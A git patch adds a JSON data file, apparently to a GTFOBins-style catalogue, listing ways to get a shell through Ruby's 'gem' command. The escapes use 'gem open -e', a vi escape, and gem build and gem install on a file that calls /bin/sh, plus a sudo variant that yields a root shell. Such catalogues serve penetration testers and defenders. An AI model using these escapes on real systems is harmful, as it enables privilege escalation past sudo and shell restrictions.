From 25497b710e54db1502e36754aaf556d218d61fc2 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Sat, 14 Mar 2020 16:27:19 +0100 Subject: [PATCH] add data source for gem --- data/gem.json | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 data/gem.json diff --git a/data/gem.json b/data/gem.json new file mode 100644 index 0000000..5c2c081 --- /dev/null +++ b/data/gem.json @@ -0,0 +1,28 @@ +{ + "functions": { + "shell": [ + { + "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).", + "code": "gem open -e \"/bin/sh -c /bin/sh\" rdoc" + }, + { + "description": "This invokes the default editor, which is likely to be 'vi', other functions may apply. This requires the name of an installed gem to be provided ('rdoc' is usually installed).", + "code": "gem open rdoc\n:!/bin/sh\n" + }, + { + "description": "This executes the specified file as 'ruby' code.", + "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem build $TF/x\n" + }, + { + "description": "This executes the specified file as 'ruby' code.", + "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem install --file $TF/x\n" + } + ], + "sudo": [ + { + "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).", + "code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc" + } + ] + } +} \ No newline at end of file